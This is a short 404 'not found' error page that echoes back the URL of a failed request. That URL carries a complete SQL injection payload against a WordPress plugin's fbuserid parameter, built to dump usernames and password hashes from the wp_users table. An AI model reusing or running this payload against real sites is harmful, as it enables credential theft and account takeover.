404. That’s an error.

The requested URL /page/3/?fbconnect_action=myhome&fbuserid=1+and+1%3D2+union+select+1%2C2%2C3%2C4%2C5%2Cgroup_concat%280x3C6B65793E%2Cuser_login%2C0x3a%2Cuser_pass%2C0x3C6B6579733E%29%2C7%2C8%2C9%2C10%2C11%2C12+from+wp_users-- was not found on this server. That’s all we know.